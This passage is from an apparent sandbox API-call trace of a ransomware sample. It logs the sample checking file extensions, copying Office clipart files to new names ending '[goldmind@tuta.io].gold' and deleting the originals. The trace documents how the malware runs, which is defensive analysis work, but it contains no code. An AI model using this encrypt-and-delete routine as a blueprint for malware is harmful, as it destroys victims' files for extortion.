Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.773] lstrlenW (lpString=".dbf") returned 4 [0095.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.773] lstrlenW (lpString=".1cd") returned 4 [0095.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.773] lstrlenW (lpString=".jpg") returned 4 [0095.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.773] lstrlenW (lpString=".doc") returned 4 [0095.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString=".docx") returned 5 [0095.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.773] lstrlenW (lpString=".pdf") returned 4 [0095.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.773] lstrlenW (lpString=".xls") returned 4 [0095.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.773] lstrlenW (lpString=".xlsx") returned 5 [0095.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.774] lstrlenW (lpString=".ppt") returned 4 [0095.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.774] lstrlenW (lpString=".zip") returned 4 [0095.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.774] lstrlenW (lpString=".rar") returned 4 [0095.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.774] lstrlenW (lpString=".bz2") returned 4 [0095.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.774] lstrlenW (lpString=".7z") returned 3 [0095.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.774] lstrlenW (lpString=".dbf") returned 4 [0095.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.774] lstrlenW (lpString=".1cd") returned 4 [0095.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0095.774] lstrlenW (lpString=".jpg") returned 4 [0095.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.774] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.774] lstrlenW (lpString="FD00369_.WMF") returned 12 [0095.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.775] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=8552) returned 1 [0095.775] CloseHandle (hObject=0x3b4) returned 1 [0095.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0095.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.775] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.775] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0095.776] GetLastError () returned 0x0 [0095.776] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2168, lpOverlapped=0x0) returned 1 [0095.777] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2170, lpOverlapped=0x0) returned 1 [0096.010] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.010] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.010] SetEndOfFile (hFile=0x3bc) returned 1 [0096.010] CloseHandle (hObject=0x3bc) returned 1 [0096.010] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.010] SetEndOfFile (hFile=0x3b4) returned 1 [0096.028] CloseHandle (hObject=0x3b4) returned 1 [0096.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0096.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.037] lstrlenW (lpString=".doc") returned 4 [0096.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.037] lstrlenW (lpString=".docx") returned 5 [0096.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.037] lstrlenW (lpString=".pdf") returned 4 [0096.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.038] lstrlenW (lpString=".xls") returned 4 [0096.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.038] lstrlenW (lpString=".xlsx") returned 5 [0096.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.041] lstrlenW (lpString=".ppt") returned 4 [0096.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.042] lstrlenW (lpString=".zip") returned 4 [0096.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.042] lstrlenW (lpString=".rar") returned 4 [0096.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.042] lstrlenW (lpString=".bz2") returned 4 [0096.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.042] lstrlenW (lpString=".7z") returned 3 [0096.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.043] lstrlenW (lpString=".dbf") returned 4 [0096.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.044] lstrlenW (lpString=".1cd") returned 4 [0096.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.045] lstrlenW (lpString=".jpg") returned 4 [0096.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.046] lstrlenW (lpString=".doc") returned 4 [0096.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.046] lstrlenW (lpString=".docx") returned 5 [0096.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.047] lstrlenW (lpString=".pdf") returned 4 [0096.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.047] lstrlenW (lpString=".xls") returned 4 [0096.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.048] lstrlenW (lpString=".xlsx") returned 5 [0096.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.048] lstrlenW (lpString=".ppt") returned 4 [0096.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.048] lstrlenW (lpString=".zip") returned 4 [0096.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.049] lstrlenW (lpString=".rar") returned 4 [0096.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.050] lstrlenW (lpString=".bz2") returned 4 [0096.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.050] lstrlenW (lpString=".7z") returned 3 [0096.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.051] lstrlenW (lpString=".dbf") returned 4 [0096.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.052] lstrlenW (lpString=".1cd") returned 4 [0096.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63 [0096.055] lstrlenW (lpString=".jpg") returned 4 [0096.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.055] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.057] lstrlenW (lpString="FD00586_.WMF") returned 12 [0096.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0096.061] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=752) returned 1 [0096.061] CloseHandle (hObject=0x3b4) returned 1 [0096.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0096.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0096.061] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.061] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0096.062] GetLastError () returned 0x0 [0096.062] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2f0, lpOverlapped=0x0) returned 1 [0096.063] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x300, lpOverlapped=0x0) returned 1 [0096.063] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.064] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.064] SetEndOfFile (hFile=0x3bc) returned 1 [0096.064] CloseHandle (hObject=0x3bc) returned 1 [0096.064] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.064] SetEndOfFile (hFile=0x3b4) returned 1 [0096.067] CloseHandle (hObject=0x3b4) returned 1 [0096.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0096.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.074] lstrlenW (lpString=".doc") returned 4 [0096.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.074] lstrlenW (lpString=".docx") returned 5 [0096.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.074] lstrlenW (lpString=".pdf") returned 4 [0096.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.074] lstrlenW (lpString=".xls") returned 4 [0096.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.074] lstrlenW (lpString=".xlsx") returned 5 [0096.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.074] lstrlenW (lpString=".ppt") returned 4 [0096.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.074] lstrlenW (lpString=".zip") returned 4 [0096.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.074] lstrlenW (lpString=".rar") returned 4 [0096.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString=".bz2") returned 4 [0096.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString=".7z") returned 3 [0096.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString=".dbf") returned 4 [0096.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString=".1cd") returned 4 [0096.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString=".jpg") returned 4 [0096.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString=".doc") returned 4 [0096.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString=".docx") returned 5 [0096.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.075] lstrlenW (lpString=".pdf") returned 4 [0096.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString=".xls") returned 4 [0096.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.075] lstrlenW (lpString=".xlsx") returned 5 [0096.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.075] lstrlenW (lpString=".ppt") returned 4 [0096.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString=".zip") returned 4 [0096.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.075] lstrlenW (lpString=".rar") returned 4 [0096.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString=".bz2") returned 4 [0096.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString=".7z") returned 3 [0096.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString=".dbf") returned 4 [0096.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString=".1cd") returned 4 [0096.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0096.075] lstrlenW (lpString=".jpg") returned 4 [0096.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.075] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.075] lstrlenW (lpString="FD00775_.WMF") returned 12 [0096.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0096.076] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=11152) returned 1 [0096.076] CloseHandle (hObject=0x3b4) returned 1 [0096.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0096.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0096.076] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.076] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0096.077] GetLastError () returned 0x0 [0096.077] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2b90, lpOverlapped=0x0) returned 1 [0096.079] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2ba0, lpOverlapped=0x0) returned 1 [0096.080] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.080] WriteFile (in: hFile=0x3bc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.080] SetEndOfFile (hFile=0x3bc) returned 1 [0096.080] CloseHandle (hObject=0x3bc) returned 1 [0096.080] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.080] SetEndOfFile (hFile=0x3b4) returned 1 [0096.082] CloseHandle (hObject=0x3b4) returned 1 [0096.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0096.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.082] lstrlenW (lpString=".doc") returned 4 [0096.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.082] lstrlenW (lpString=".docx") returned 5 [0096.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.082] lstrlenW (lpString=".pdf") returned 4 [0096.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString=".xls") returned 4 [0096.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.083] lstrlenW (lpString=".xlsx") returned 5 [0096.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.083] lstrlenW (lpString=".ppt") returned 4 [0096.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".zip") returned 4 [0096.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.083] lstrlenW (lpString=".rar") returned 4 [0096.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString=".bz2") returned 4 [0096.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString=".7z") returned 3 [0096.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".dbf") returned 4 [0096.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".1cd") returned 4 [0096.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0096.083] lstrlenW (lpString=".jpg") returned 4 [0096.083] lstrcmpiW 